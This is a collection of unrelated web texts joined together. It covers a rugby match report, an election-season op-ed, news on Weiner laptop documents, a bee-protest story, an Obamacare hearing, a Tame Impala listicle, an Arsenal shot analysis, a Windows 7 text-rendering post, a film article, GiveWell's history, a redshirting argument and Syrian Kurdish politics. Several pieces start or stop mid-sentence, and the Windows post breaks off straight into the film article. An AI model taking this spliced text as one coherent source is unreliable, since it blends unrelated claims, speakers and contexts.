That compared to a 47-0 thumping they took from the Scots four years ago in France and it was a source of great pride for Romania’s Kiwi-born technical coach Steve McDowall.
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“The expectation was to be competitive and we certainly were,” he said.
“One, it was physically hard; and two, it was mentally hard so for those boys it was a great lesson.”
It now remains to be seen if the trend for more competitive games will continue on Sunday with the United States taking on Ireland, and then Georgia and World Cup debutants Russia make their starts to the tournament next week.US President Barack Obama (R) and Republican presidential candidate Mitt Romney (L) participate in the second presidential debate, the only held in a townhall format, at the David Mack Center at Hofstra University in Hempstead, New York, October 16, 2012, moderated by CNN's Candy Crowley. AFP PHOTO /Saul LOEB (Photo credit should read SAUL LOEB/AFP/Getty Images)
I have a secret: I can't wait for this election season to be over.
It's not that I don't think there's a lot at stake. There is. It's just that, as usual, we're not talking about the real problems facing the country, and real solutions for dealing with them.
One candidate has apparently decided that the best strategy is to avoid talking to anyone who isn't already on his side. When you find out what he's been saying to the people he does trust, you can understand why.
The other candidate, whom we've sternly instructed to stop spending so much time running the country so he can look tougher on TV, hasn't articulated any new ideas. His central argument -- I cleaned up their mess and killed the guy they couldn't find -- has a certain elemental appeal, but it's not exactly the stuff Spielberg movies are made of.
Meanwhile, the rest of us are fixated on Clint Eastwood's Chair, Big Bird, Binders Full of Women and other morsels of meme-friendly malarkey. I'm starting to understand what Thomas Jefferson meant when he said, "If a nation expects to be ignorant and free, in a state of civilization, it expects what never was and never will be."
Please don't mistake me for a cranky technophobe who wishes things were the way they used to be in some fictional bygone age. I thought some of the "Binders Full of Women" mashups were inspired. They were certainly more compelling than anything the candidates are saying -- which is part of the problem.
Is there any country in the world that spends this much time and this much money electing a head of state? (I'll answer that seemingly rhetorical question: Hell no.) And now, with the arrival of social media and the influx of unregulated money made possible by Citizens United, what had once been a circus has morphed into a sprawling theme park of platinum-plated horseshit.
And still the candidates say nothing of substance. They dodge the few policy questions their handlers let them hear, imprisoned in a web of commitments made behind closed doors to deep-pocketed donors who want more drilling, fewer regulations, looser gun restrictions, and -- everybody's favorite -- more lucrative government kickbacks. The best we can hope for is the occasional issue where each party has been co-opted by a different set of special interests, in which case the candidates feel free to whack each other in the face with rhetorical two-by-fours until the moderator manages to interrupt long enough to change the subject.
But the media hates a vacuum, so we are treated to an endless stream of commentary by individuals ranging from the unqualified to the laughably unqualified. The guy from Rage Against the Machine rages against Paul Ryan. Honey Boo Boo says she would vote for Obama, if only she weren't 11 years too young to vote. On and on it goes.
Call me unpatriotic, but I just want it to end.
There must have been a time when our protracted election season made sense. Candidates needed to canvass the country, making whistle-stop tours and shaking hands with voters from sea to shining sea. There were no TV cameras to capture the speech you made in Des Moines, so you had to give it again in Chicago, Boston, Philadelphia and Topeka.
Now, though, it just seems that this multi-year freak show exists only to line the pockets of mega-creepy types like Karl Rove, who spend their time -- and someone else's money -- finding creative new ways to press voters' emotional buttons using grotesque distortions that are so divorced from the truth as to be effectively un-fact-checkable.
Meanwhile, instead of synthesizing the facts and putting them in context, our political press leaps on every incipient pseudo-scandal, hoping to ride the next one to Twitter fame and cable-TV glory. But don't blame them! We're the ones clicking on the stuff. We're the ones sharing it.
Here's the part where I admit I don't have the answers. Well, maybe I have a few. Pass a real law -- a Constitutional amendment, if that's what it takes -- limiting campaign donations. Our government is literally for sale, and there's no excuse for it. We're far too rich and powerful and well-educated to stand for this banana-republic nonsense.
While you're at it, compress the season. If Major League Baseball can go from Spring Training to the World Series in seven months, surely that's enough time -- in our post-wired age -- to run a presidential election, primaries and all.
Finally, get educated. This means you. Read the candidates' platforms (here and here), find out where they stand on the issues that matter to you, make up your mind and then feel free to tune out the noise.BY: Follow @DavidRutz
The FBI has turned over 7,000 new documents from former Democratic Rep. Anthony Weiner's laptop to the State Department.
The disclosure is part of the conservative watchdog group Judicial Watch's lawsuit in relation to the Hillary Clinton private email investigation, Fox News reported Thursday.
Judicial Watch and State Department representatives appeared in federal court in Washington, D.C., on Thursday over the group's Freedom of Information Act suit seeking Clinton emails from her tenure at the State Department. It emerged during the hearing that the 7,000 new documents were turned over. The trove is expected to contain some emails sent by Weiner's estranged wife, Clinton aide Huma Abedin. Judicial Watch President Tom Fitton told Fox News after the hearing that they expect to begin receiving those documents in three months, once the State Department determines whether the Weiner documents are government or personal records.
In November, the State Department was ordered to turn over 500 pages of Clinton-related documents a month to Judicial Watch. Fitton expressed dissatisfaction to Fox News about the speed of the process. He guessed that with the 7,000 new documents being added to the pile, Judicial Watch does not expect to get Weiner laptop documents in full for at least a year.
Judicial Watch is seeking the Weiner emails to investigate whether Abedin shared "sensitive government information on another non-government device," Fox News reported.
Weiner's computer wound up playing a late role in the 2016 presidential election. Then-FBI Director James Comey's announcement that the investigation into Clinton's email server use was being re-opened came about through a separate investigation into Weiner's sexting with an underage girl.
Comey testified to lawmakers in May that federal investigators found thousands of Clinton emails, some of which contained classified information, forwarded to Weiner's computer by Abedin. Press reports later said that Comey overstated the number of emails that were forwarded to Weiner's laptop.
Weiner later entered a guilty plea in the sexting case.Activists are planning to take 2.64 million dead bees to Environmental Protection Agency (EPA) headquarters as they seek to bring attention to the plight of the insect.
Joined by beekeepers, the advocates are pressuring the EPA to better regulate chemicals and pesticides that they say are harmful to bees and other pollinators.
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“The millions of dead bees that have accompanied us during the Keep the Hives Alive Tour are carrying a message — this is just a tiny fraction of the devastation beekeepers are dealing with year after year,” Larissa Walker, pollinator program director at the Center for Food Safety, said in a statement.
“It’s well past time for policymakers to wake up and take action to curb the use of the toxic pesticides that are harming pollinators, people and our environment,” she said.
The bee rally will be the culmination of a week of events around the country organized by the Center for Food Safety, the Center for Biological Diversity, Friends of the Earth, the Natural Resources Defense Council and others.
In a study released in May and supported by the Department of Agriculture, beekeepers reported losing 44 percent of their colonies between April 2015 and April 2016.
A family of pesticides known as neonicotinoids have in recent years become a main focus of bee preservation efforts.
The EPA officially found in January that the neonicotinoid imidacloprid can harm bees, the first part of a multi-part effort to study the pesticide family after years of pressure from activists.
But the EPA has not officially proposed any measures to further restrict the use of the pesticide.House Republicans spent Wednesday morning grilling insurance industry executives in a follow-up to their now-thoroughly debunked study on how many Obamacare enrollees have paid their premiums.
The testimony of the executives had already rebutted the GOP’s earlier finding that only 67 percent of enrollees had actually paid so far. So the lawmakers went fishing for any other bad news that might be out there. They once again came up empty.
Rep. Tim Murphy (R-PA), chair of the subcommittee of the House Energy and Commerce Committee that hosted the hearing, opened the questioning with what seemed like a laundry list of potential problem spots for the health care law.
Are people going to paying higher premiums in 2015?
“I can’t say for certain,” one of the executives replied. “I don’t have the exact numbers yet,” another said.
Do you know if your enrollees are paying more for insurance now under Obamacare? Do you know how many had their previous health plan canceled?
“We currently do not have that data,” one of the witnesses said.
A little while later, Rep. Marsha Blackburn (R-TN), one of the more outspoken Obamacare critics in Congress, got audibly flustered as she continued to press insurers to reveal their business plans in front of their competitors, pressing the witnesses to give some indication of what Obamacare’s 2015 premiums will be.
“At this point, we can’t offer any guidance on where they’re going to fall,” Paul Wingle, a top executive at Aetna, told Blackburn.
“At this juncture, we do not have that information,” another witness said.
“A lot of uncertainty floating around up there,” Blackburn quipped. She then implored the witnesses to offer anything — even some kind of preliminary guess that might have been given to their top officials — of what was going to happen with the next year’s premiums.
“Have any of you conducted any interim analysis of what your organization’s premiums are going to look like?” she said. She asked for a show of hands. No witnesses volunteered.
“You have done no internal analysis on what the trend line is for these premiums? None?” Blackburn said, clearly exasperated. “It is baffling that we could have some of our nation’s largest insurers, and you all don’t have any internal analysis of what these rates are going to be.”
It was the hearing analogue of the GOP’s fruitless pursuit of its “how many Obamacare enrollees were previously uninsured?” talking point in the survey itself. The committee released no results on those findings — probably because insurance industry sources told TPM that companies haven’t been collecting the data.
The best talking point that Republicans got out of the hearing? Insurance companies still aren’t totally satisfied with how the back-end of HealthCare.gov is working. “We still have opportunities for improvement,” as one witness said.You might think you’re in the know when it comes to Perth psych lot Tame Impala, but do you know them better than anyone else? Here’s what it takes to become one of Kevin Parker’s true disciples.
1. You just really want to get away from people sometimes
2. Your approach to Kevin Parker and his lyrics is almost scientific
3. You don’t think he’s Jesus exactly, but…
Sharethrough (Mobile)
4. You know to call Kevin by his many nicknames
5. You see opportunities to pay tribute to the band everywhere
6. You’re also aware that you can go to the ‘Lonerism’ album art location IRL
It’s in Paris’ Luxembourg Gardens, and you’ve probably been there.
7. You consider this performance of ‘Half Full Glass Of Wine’ one of their greatest ever
8. You viewed this cover as the brilliant homage it is
9. You may have welcomed them to your country in person
10. You’re sad that the cyber-playground bully, Siri, calls them names
11. You’re of the correct opinion that everything Kevin Parker touches turns to musical gold
Whether he’s producing, playing or mixing
http://www.youtube.com/watch?v=F917nJ1TJR8
12. His bandmates, too
There are too many examples for just one list.
13. You’re holding out hope that the Kevin Spacey project gets a studio recording of its own
…even though it was just started as a fundraiser for their pregnant friend whose car was stolen.
14. You don’t really know Trevor very well, but you know you hate him
Screw that guy.
As promised….. spinningtopmusic.com/collections/tame-impala A post shared by Tame Impala (@tame__impala) on Dec 15, 2015 at 9:15pm PST
15. Sometimes when you’re listening to them you… zone out
Art & Design GIF – Find & Share on GIPHY Discover & Share this Art & Design GIF with everyone you know. GIPHY is how you search, share, discover, and create GIFs.
16. You appreciate the evolution of a Tame Impala song like you would the development of a fine wine
17. You’re always slightly surprised to see Kevin enable selfie culture
18. You’re less surprised to see him with Mac DeMarco
19. You know their fans do great fan art
They’re also capable of slightly mad theories.
20. You’re fully aware of how privileged this tiny 2008 crowd was
21. You can’t choose your favourite Tame Impala song
It could be this one
http://www.youtube.com/watch?v=KQH2Kq1QXaI
It could be this one
http://www.youtube.com/watch?v=NTfYYRGTB3g
It could be this one
http://www.youtube.com/watch?v=wycjnCCgUes
Et cetera.
22. You also rate their covers highly
23. You couldn’t help laughing when this Chilean site got it very wrong…
…by alleging Tame Impala had got one of their melodies from child star Pablito Ruiz.
http://www.youtube.com/watch?v=b0M901BgWqM
24. You think Kevin’s jokes are pretty good
25. And his French too… kinda
26. You wouldn’t pressure them for new music, because you know patience is the keyFirst of all, we wish all of our readers here at StatsBomb a very happy New Year.
As we are at the midpoint of the Premier League season it seems to be a good time to revisit the shot location charts of the leading teams.
In a series of short articles over the next few days I will provide the plots of shots taken and conceded by each team as a point of reference and I’ll point anything of note that jumps out at me.
My Zones
A reminder for any new readers of the zones that the summary box below the plots refer to:
Each team plot has two images. The image on the left reflects the shots (excluding penalties) that the team has taken this season, while the image on the right sets out the shots they have allowed.
The table underneath the image summarizes the shots by zone, and in order to aid comparison the numbers highlighted in yellow are the league averages.
Where better to start off the team by team analysis than with the league leaders – Arsenal?
Arsenal
Despite 5 teams shooting more often than Arsenal, only Man City have taken more shots than The Gunners from Prime locations. The desire to work the ball into close positions has long been a trait of Wenger’s team and this tactic has continued this season.
Arsenal are the only team not to have taken a single shot from Very Poor locations; yet further affirmation of their shooting discipline.
On the downside, the relatively low volume of shots should be a concern for Arsenal fans, as it is unlikely that they can with a league with only the 6th most shots in the league.
Giroud
For a team with aspirations of winning the league Arsenal are in the unfortunate position of having to rely on a striker that is clearly not elite at doing what he is paid to do – put the ball in the net. Giroud’s supporters will undoubtedly point to his support play and the way he can bring Arsenal’s other attacking talent into the game, but the simple truth is that he’s not a very good finisher.
Here are the shots that Giroud has taken this season in the EPL:
Giroud’s shooting positions are superb. Of the leading Premier League strikers only Aguero has a higher average ExpG figure than the Frenchman, so his 7 goals from open play is a disappointing return.
The following images demonstrate why Giroud is not elite class, and why Arsenal will need an upgrade if they are to continue their attempt to end the season as league champions.
This is the first time that I’m using these cumulative probability curves, they were suggested to me by Devin Pleuler and I think they convey in a snapshot the shooting performance of a player – Giroud in this case.
The number of goals are listed on the horizontal axis and the curve represents the probability, based on his shot location and type, that the player will have scored at least those number of goals.
The red dot represents the actual number of goals scored (8 in the current season), and it intersects the vertical axis at about 90%.
Thus, in 90% of the cases our model expected Giroud to have scored at least 8 goals. Had he converted the goals at the rate our model (created with Constantinos Chappas) expected his red dot would have been at the 50% mark – which is at about 11 goals in this case.
90% is not good – he’s about 3 goals behind where our model expected him to be at given the shots he has attempted.
One poor season could be forgiven, but the image below is from last season and Giroud’s red dot is in almost the same place again. His 11 goals underperformed our scoring expectation by about 6 goals last year.
Arsenal could and should do better in terms of being able to rely on their main striker to convert a fair share of chances that fall his way. In this instance it may be no bad thing that Wenger’s hand might just be forced due to the injury suffered by the Frenchman at Newcastle on Sunday.
Going Backwards
Defensively Arsenal have been superb; at least in terms of where the shots are struck from. The paltry 27% of shots they allow from Prime locations is comfortably the lowest in the league and explains why the average chance that Arsenal gives up has the lowest probability of being scored in the league.
Their concession of just 61 shots from Prime locations is almost a shot per game better than any of the other teams in the Premier League – Liverpool fare next best on this measure with 77 shots allowed.
Arsenal’s ratio of Prime Shots for compared to conceded is greater than 2 (123:61) and is an elite number.
Defensively Arsenal are sound, and they certainly have a platform from which they could build a title winning charge.
Related
Article by Colin TrainorEven with the pictures and videos so commonplace on PCs, many of us spend most of our time looking at and interacting with text. Yet few of us stop to think about the depth of technology required to render text well and that this is an area that continues to benefit from improved technology in displays, graphics cards, as well as the APIs available to developers. In Windows 7, The support for text and fonts in GDI continues to provide the foundation for compatibility and application support. Building on the foundation of the modern DirectX graphics infrastructure, Windows 7 enhances the text output available to developers with DirectWrite. This is a new API subsystem and one that over time you will see adopted more broadly by applications from Microsoft, independent software developers, and within Windows itself. This post will also talk about improvements to ClearType and the Fonts, both available as part of the improvements to the GDI-based text APIs. This work was introduced at the PDC (pointers towards the end of the post). This post is by Worachai Chaoweeraprasit, a development lead on our Graphics feature team. --Steven
One of the high-level goals of Windows 7 is to have even better graphics – graphics with higher fidelity. To that end, my team is looking into how to improve one of the most basic graphic elements in Windows, and that is text – the thing that’s always right in your face, but we hope you’ll never actually see it.
The need for good text
About 80% of the time people spend with their PC is to either read or write. This should come as no surprise when you realize that text is essentially how the machine talks back to you, and until we have a technology that would allow it to interject thought directly into our brains, text would probably continue to be the way we receive information from the computer screen.
Studies have shown that good text leads to better productivity. Essentially we are wired as human to be incredibly good at capturing words and making a smooth, rapid transition between them |
offered to direct the film.[4]
Peck agreed to portray Mengele only because he had wanted to work with Olivier.[5] Mason initially expressed interest in playing either Mengele or Lieberman.[6] To prepare for the roles of the European clones, Jeremy Black was sent to a speech studio in New York City by 20th Century Fox to learn how to speak with both an English and a German accent.[7]
The altercation between Lieberman and Mengele took about three or four days to film due to Olivier's ailing health at the time. Peck recalled that he and Olivier "were lying around on the floor" laughing at the absurdity of having to film such a fight scene at their advanced ages.[8]
Extended ending [ edit ]
A brief end segment with Bobby Wheelock in a darkroom was restored to some versions in later years. In this alternate ending, after Lieberman burns the list in his hospital bed, the scene transitions to Bobby in a darkroom developing photographs of Lieberman and Mengele, with a piercing glare coming from his steely-blue eyes as he focuses on Mengele's shark tooth necklace before fading to the end credits.
Filming locations [ edit ]
Despite its title, none of the film was shot in Brazil. Instead, the film was shot in Portugal, London, Vienna, the Kölnbrein Dam in Austria, and Lancaster, Pennsylvania. The scenes that were set in Massachusetts were shot in London.[7]
Release [ edit ]
The film had 25 minutes cut when released in West Germany, theatrical as well as all subsequent TV, video and some DVD releases. In 1999, by Artisan Entertainment, and 2009 by Lionsgate Home Entertainment, the film was released uncut on DVD in the U.S. and uncut in Germany on its DVDs.
Lew Grade, who partly financed the film, was not happy with the end result, feeling that the ending was too gory. He says he protested but Franklin J. Schaffner, who had final cut rights, overruled him.[9]
In 2015, Shout! Factory released the film on Blu-ray.[10]
Reception [ edit ]
The Boys from Brazil received mixed to positive critical reviews. The film currently holds a 72% rating on Rotten Tomatoes based on 29 reviews, with an average rating of 6.3/10.[11]
Variety wrote, "With two excellent antagonists in Gregory Peck and Lord Laurence Olivier, 'The Boys From Brazil' presents a gripping, suspenseful drama for nearly all of its two hours — then lets go at the end and falls into a heap."[12] Gene Siskel of the Chicago Tribune gave the film one-and-a-half out of four stars and called it "old-fashioned filmmaking at its worst," with "one of the phoniest stories you can imagine."[13] Charles Champlin of the Los Angeles Times wrote, "It is penny-dreadful stuff, sumptuously executed but still as shallow as a Saturday serial. One exasperation of 'The Boys From Brazil' is that, even accepting the biological possibility of the premise, the script by Heywood Gould never confronts any of the interesting questions raised."[14] Gary Arnold of The Washington Post called it "admirably crafted and surprisingly effective," and "a snazzy pop entertainment synthesis of accumulating suspense, detective work, pseudoscientific speculation and historical wish fulfillment."[15] Pauline Kael of The New Yorker wrote, "If the film wants to be taken as a cautionary fable—another one!—about the ever-present dangers of Nazism, then it should leave viewers with a sense of menace that Mengele's "boys from Brazil" constitute. Instead, we get Lieberman's fuddy-duddy humanism and vague assurances that the boys are not really dangerous. And this is supposed to be a movie."[16] Jack Kroll of Newsweek wrote that "the thoughts aren't quite deep enough even for a thriller... Heywood Gould's reasonably suspenseful screenplay blows it by suddenly turning Lieberman into a kindly old Jewish uncle instead of a man who is willing to face the tough paradoxes of good and evil."[17]
Award and honors [ edit ]
Academy Awards Nominations
Golden Globe Awards Nomination
Golden Globe Award for Best Motion Picture Actor – Drama – Gregory Peck
Academy of Science Fiction, Fantasy & Horror Films Saturn Award Nominations
Best Science Fiction Film
Best Actor – Laurence Olivier
Best Director – Franklin J. Schaffner
Best Music – Jerry Goldsmith
Best Supporting Actress – Uta Hagen
Best Writing – Heywood Gould
Other honors
The film is recognized by American Film Institute in these lists:
References [ edit ]GiveWell started with a simple question: Where should I donate?
As a group of eight friends, employed in the finance industry and researching these questions in our spare time, we discovered that finding the best giving opportunities isn't a part-time job. The issues charities address—from fighting disease in Africa to improving education in the U.S.—are extremely complex, and useful information about what different charities do and whether it works is rarely publicly available. When we asked private foundations to share what they'd found and help us with our decisions, they refused. We believe that information about how to help people should never be secret.
We also believe that small donors matter. Small donors help charities develop broad, diverse bases of support, which provide stability for charities to plan and grow. And if we guide even a small portion of individual donors—who are responsible for the vast majority of giving in the United States—to the best giving opportunities we can find, we would signal to the international aid sector that effectiveness, cost-effectiveness, and transparency are important to donors. Ultimately, these actions could help change the rules of the game: We picture a market that rewards charities for their ability to help people, not just for their marketing.
In 2007, two members of the group, Holden Karnofsky and Elie Hassenfeld (bios), left our jobs, raised $300,000 in startup funds from former coworkers who believed in us and our mission, and started GiveWell as a full-time project.
The full history of our progress and business plans, detailing our efforts since then, is available on our progress page. Notably, we incubated the Open Philanthropy Project at GiveWell, which became a separate entity in June 2017.
You can get a more detailed, referenced version of our story here.Everybody loves a 5th year senior. You'd take Jake Ryan over some unproven POS freshman and so would I.
But the tradeoff is never that simple. Last week Seth wrote a thoughtful lament of "burned redshirts" in recent Michigan history. Many others take a default "red-shirt until you can't" mentality. This is my all-due-respect counter-argument to this philosophy.
Top 10 Reasons to Play All Your Freshman*
or: How I Learned to Stop Worrying and Love the Burn
*almost
1. It Helps Recruiting
Playing is great and waiting sucks. Immediate opportunity matters, especially to elite recruits. "We don't redshirt" is awesome marketing. "Come workout real hard, study for a year, and then we'll see" is not. Every coach will insist that the best will play, regardless of age, and Every Coach will challenge a recruit to not fear competition. Teams that differentiate have an advantage.
That's not to mention avoiding the unfortunate depth chart evaluation: "Oh that guy? Yeah we red-shirted him, so he'll be around for 4 more years to fight you for playing time"
2. Special Teams Matter
Coaches seem to care a lot more than fans. It's clearly important to Harbaugh (see: Baxter & Durkin) and Hoke used starters regularly on special teams (e.g., Blake Countess). If your best and most athletic freshman play, your team benefits.
Playing freshman on special teams can mean better results on special teams, fresher starters on O and D, and prevented injuries to your most important players. Replacing veterans with freshman on special teams not only reduces their injury potential but also reduces the need for rotating in backups because they stay fresh.
Next time someone argues a guy was "wasted" because he ONLY played on special teams, don't automatically discount his contributions.
3. Accelerated Player Development
I believe most development happens on the practice field, but one has to acknowledge that some marginal development happens in game as well. Playing a guy, even 'just' special teams, helps them grow and understand the difference between college and high school.
Jarrod Wilson probably isn't the player he was the last two seasons if he doesn't get his feet wet as a freshman.
4. Redshirts Are Failure
The best case scenario is an NFL caliber player who comes in right away and makes your team better. Red-shirting means the optimal scenario is out the window. Because we follow recruiting so closely we've probably already accepted it, and built it around the rankings, but the fact remains. A redshirt is a failure from the start relative to the optimal scenario.
The coaches failed to land the NFL caliber 4-year player we and they wanted and now you're left crossing your fingers, hoping that one day, 4 years later, it pays off.
5. Redshirts Are Wasteful
Even if it does payoff, you've invested more to get the payoff. The second the red-shirt determination is made you've committed to spending 5 years of scholarships to get the same 4 years of production you could have had otherwise, and that's in a best case scenario.
Scholarships are a limited resource. You have a budget of 85. Red-shirting is spending one year where you are guaranteed to get nothing in return.
6. The Redshirt Payoff Is Uncertain
To get the payoff on a red-shirt season, a 5th year senior must produce two scholarships worth: the one he gets his 5th year AND the one he got as a freshman.
In most cases the payoff doesn't come. Guys transfer, get kicked off the team, or just aren't good enough. In the case of Bellomy and Heitzman (and many more) we don't flinch when they aren't invited back. It's just the nature of the game. We toss aside the losing bet slip and write it off as a sunk cost. We've had four years to figure this out and already gave up. The blow is softened to the point of not being felt. But the cost remains on the books - Michigan gave up something and got nothing that year. Maybe Bellomy and Heitzman wouldn't have made any contribution as freshman, but whatever they would/could have done would be more than what they'll bring to Michigan in 2015.
Then there are the guys Michigan DOES want back. Coming back in year 5 is a two-way street. This off-season we've already lost two in Jack Miller and Justice Hayes. Michigan invested a red-shirt season scholarship in them and the payoff never came. This wasn't a big deal in the past, but with grad transfers becoming football free agents Michigan has become a consistent supplier of talent for other teams (e.g., Ryan Mundy, Mike Cox, Josh Furman, Justice Hayes).
Then of course there's the NFL draft. Michigan easily could have red-shirted Devin Funchess - too raw, too skinny, and unrefined as a blocker. He made some contributions his freshman year but nothing like his soph and junior years. It was argued at the time that his hypothetical 5th year contributions would have been so much more valuable to Michigan than what he did in 2012. But those contributions would never have been realized. Michigan made the right choice in playing Funchess as a freshman. As Urban Meyer oh so eloquently put it: "If you're a great player, you're gone, so play them."
7. Redshirt Opportunity Cost
This is really just points 1 and 5 again, but it's worth discussing a specific example that Seth raised: Raymon Taylor. Taylor easily could have red-shirted in 2011 and Michigan wouldn't have lost much.
Taylor was a good player. Any M fan/coach would like to have him back in 2015.
However, it has to be acknowledged that his departure created an opportunity for someone else. His starting spot was nearly filled by Iman Marshall (recruit seeing an opportunity) before it was ultimately filled by Wayne Lyons. Lyons may or may not be better than Taylor but it's reasonable to think that getting a crack at Marshall before 'downgrading' to a similarly experienced player of Lyons caliber (i.e., may not be a downgrade at all) is a net win for Michigan as compared to just getting Taylor back in year 5.
In the end, Michigan got a season's of special teams contribution from freshman year Taylor, accelerated his development, and got a shot at an elite recruit in 2015. All it 'lost' was swapping out one veteran player for another -- one that was more highly regarded as recruit 4 years earlier anyway.
This is a quintessential example of why it's never as simple as trading a 5th year guy for a freshman.
8. You Get More Players
It's math. Over a 10 year span, you get 850 scholarship-years. This is an inflexible maximum that applies to every NCAA team, and is unaffected by recruiting class sizes, NFL draft entries, transfers, walk-ons or injuries. The only possible change is moving the number down due to sanctions.If you have zero attrition and everyone red-shirts you will have 170 players in those 10 years, the smallest number possible (again, ignoring sanctions). The maximum is 850 players (if you swap out your entire roster every single season) but nobody is doing that (though Kentucky is wading into these waters in basketball). If you don't red-shirt anyone (all 4-year players) your new minimum is 212.
The red-shirting team in this attrition-free scenario gets 42 fewer players. The non-redshirting team increased the number of players passing through their program by up to 25%.
That's up to a 25% higher chance of finding the next Carter, Howard, Biakabatuka, Woodson, Edwards, Hart, or Robinson. It's what Alabama is trying to achieve by oversigning and medicaling people.
Red-shirting is a self-imposed sanction. You're voluntarily decreasing the number of players coming through your program. In other words you're UNDERsigning, and you're doing it by choice.
Now, obviously the above statements are obtuse hyperbole. We don't live in an attrition-free world and head coaches retain the ability to not invite 5th year players back. But hopefully you get the point -- every 5th year senior who is invited back takes the spot of someone else for a year. He makes recruiting classes incrementally smaller. Four 5th year seniors are the equivalent of one lost scholarship over a 4 year span.
9. Avoid The Redshirt That Burns You
Mike Cox played against Michigan. UMass lost, but there's a hypothetical situation where UM faces a guy and the outcome isn't so happy (e.g., Boren). What if Justice Hayes becomes the 3rd down back at Oregon State and they come to AA and pull off an upset in September? How would we be feeling about that red-shirt decision then? Michigan spent 4 years building them up, feeding them, training them, educating them, and now someone else gets to experience the pinnacle of their collegiate performance. And in some cases, you get to face it.
The guy may hurt you indirectly as well. Consider a hypothetical where Michigan was in the national title picture last year and got bumped out of the championship by Josh Furman's Oklahoma team. Maybe these situations are low probability, but stranger things have happened.
It's better to be consuming these grad school transfers than producing them. Not red-shirting people encourages this.
10. Flexibility & Insurance
Morgan and Countess got 5th years from injuries that occurred after their freshman seasons. If they had red-shirted as freshman they'd still be back in 2015, but we would have lost the production that they delivered in the 2011 season.
6th year players do exist, but are very uncommon. I have the impression the paperwork is onerous and leads to roster uncertainty due to the long response timelines. The cases of previously redshirted players losing a year because of injuries may be a lot more common than we think.
11. Motivation (Since 7 is sort of redundant, I give you a bonus)
The DO IT NOW attitude inherent with the no redshirt approach instills competition and urgency. No lollygagging in the weight room or practice field because you won't see the field for another year. Less favoritism for guys who've been around the program, more meritocracy.
Conclusions
Redshirts are wildly overrated. Redshirting is a suboptimal and wasteful resource allocation. Redshirting is a recruiting handicap. Redshirting is electing to undersign in an era of oversigning. Redshirting means self-imposing voluntary sanctions for good behavior. Red-shirts are scarlet letter Fs for failure.
Some of the list above are marginal points, it must be acknowledged. But taken together their effects are additive and significant. The benefit cost ratio on redshirts has shifted significantly in the last 10-20 years due to grad school transfers and changing expectations of student athletes.
Redshirting should be considered Plan B.
Exceptions
Kids who aren't going to play AT ALL: OL typically require physical development and QBs typically require mental development. Keeping your options open is fine, as long as you realize there's a very good chance that the redshirt a) isn't that good and you'll ask him to leave anyway b) is good but will leave by choice for another opportunity or c) will be subject to other attrition and never get to year 5. Keeping such a guy around comes with a lot of indirect costs.
-------------------
Did I convince you? Probably not, but there are valid reasons why the sport has evolved this way and some of the most successful coaches (e.g, Pete Carrol, Urban Meyer) were/are not redshirting it as a matter of policy.
According to Seth only 12 guys over the last 4 years are regretable at Michigan. Many of them fell under "pick one" category where Michigan needed help, it just didn't know who could help more (i.e., hindsight). Others where significant special teams contributors (e.g. Houma, Thomas). Some of the guys in more recent classes probably won't be around or asked back by then anyway. You're really down to one or two guys a year who you really can point to with regret. For all we know they got promises and wouldn't be here otherwise.
The 5th year guys who are back this year are...none. We have two former walk-ons and two guys that got injured last year.
I'm done worrying about it. Any RB, WR, LB, DB who is physically mature should be playing special teams instead of red-shirting. The only kids I want red-shirting in this 2015 recruiting class are the 3 OL, Washington (physically underdeveloped with high upside IMO), and Gentry (upside QB).
Attrition should be embraced. It is desireable. Michigan has recognized that at RB for decades. They'll recruit 2 guys every year, let them battle it out, pick a "primary" back, and then the buried guy eventually figures it out and leaves or moves to fullback. Harbaugh does this with his QBs too. Everybody applauds the competition, because the truth is somebody has to lose, and that's just life. Why not do it for every position?
Not redshirting is a way to be explicit about the reality of competition. There isn't a pot of playing time gold at the end of the 5-year rainbow for everybody. The pot is there, in front of your face, right now.
---------------
Finally, I realize this argument shits on the notion of letting people mature as student-athletes and humans. It's an enormous shift from the "freshman have to sit out a year" history of the NCAA. But the sport has evolved so far away from emphasizing student welfare. Fighting the prevailing trends and rules of the game means swimming upstream. Most players don't want to sit out a year, most programs lose out by doing it... so what's the point?Due to its policies and alliances, the Syrian PKK affiliate, the Democratic Union Party (PYD), is increasingly drawing more frustration and anger from different Kurdish parties in Syria, Iraq and Turkey.
Coming to the fore and supported by Washington and Moscow, as the People's Protection Units (YPG) militia fights against the DAESH terrorist organization, the group prevents Kurdish opposition parties from voicing political dissent.
Recently, the PYD blocked 6,000 Syrian peshmerga fighters who were trained in Iraqi Kurdistan and were attempting to return to Syria. The Turkish government had allowed peshmerga fighters from the Kurdistan Regional Government (KRG) in Northern Iraq to pass through Turkey to join the fight against DAESH in Kobani in October 2014. The KRG peshmerga units played a significant role in rebuffing DAESH offensives.
Iraqi Kurds have said that the PYD cannot be considered a group that represents all Kurds in Syria and that the group's legitimacy has declined for them. The PYD has forced 13 Syrian Kurdish parties to leave PYD territory. All of these parties are represented in the Syrian National Coalition that supports the territorial integrity of a free Syria.
In order to hinder the opposing voice from the KRG and Iraqi Kurds, the PYD banned Iraqi Kurdistan's Rudaw Media Network from operating in Kobani and the surrounding area last week. The PYD made a statement regarding the decision and defended its policy, saying: "The decision will be in place unless Rudaw changes its politics."
PYD part of Assad regime, cut relations with Kurds
Speaking to Anadolu Agency, Mustafa Shafik, an advisor of the KRG prime minister, said that the "PYD has become part of [Bashar] Assad's regime [and has] cut relations with Kurds and some other allied countries."
He continued: "The [PYD] organization signed a strategic agreement with the Syrian regime. It has been working on applying it for four years. They have strengthened their presence in the Kurdish areas in Syria by [the enforcement of] de facto policy."
Kava Azizi, a member of the Kurdish National Council, believes the PYD is an extension of the Assad regime and that the "Baathist regime controls this organization [PYD] according to its own interest."
Azizi pointed to the permanent U.N. representative in Syria, Bashar Jaafari, who announced that PYD is part of the Assad regime.
Following a closed-door U.N. Security Council meeting on Feb. 17, Jaafari said: "These Syrian Kurds supported by the American administration are also supported by the Syrian government."
In December, Assad gave an interview to the U.K.'s The Sunday Times newspaper in which he said that the regime supplies arms to the PYD. PYD Co-Chair Salih Muslim said in an interview with Al-Hayat magazine in July that they could allow the return of Syrian regime forces to Rojava and that the YPG will join forces in a certain case.
PYD not welcomed by Syrian Kurds
Ridwan Badini, an academic from Salahaddin University, believes that the PYD's policy in Syria has not been welcoming to the entire Kurdish community.
"The organization does not represent most Kurds in Syria," he said.
Azizi said: "Syria's Kurds are not satisfied with the PYD's policy because it seeks to destroy the Kurdish struggle in Syria while other Kurdish parties are working to build a better future."
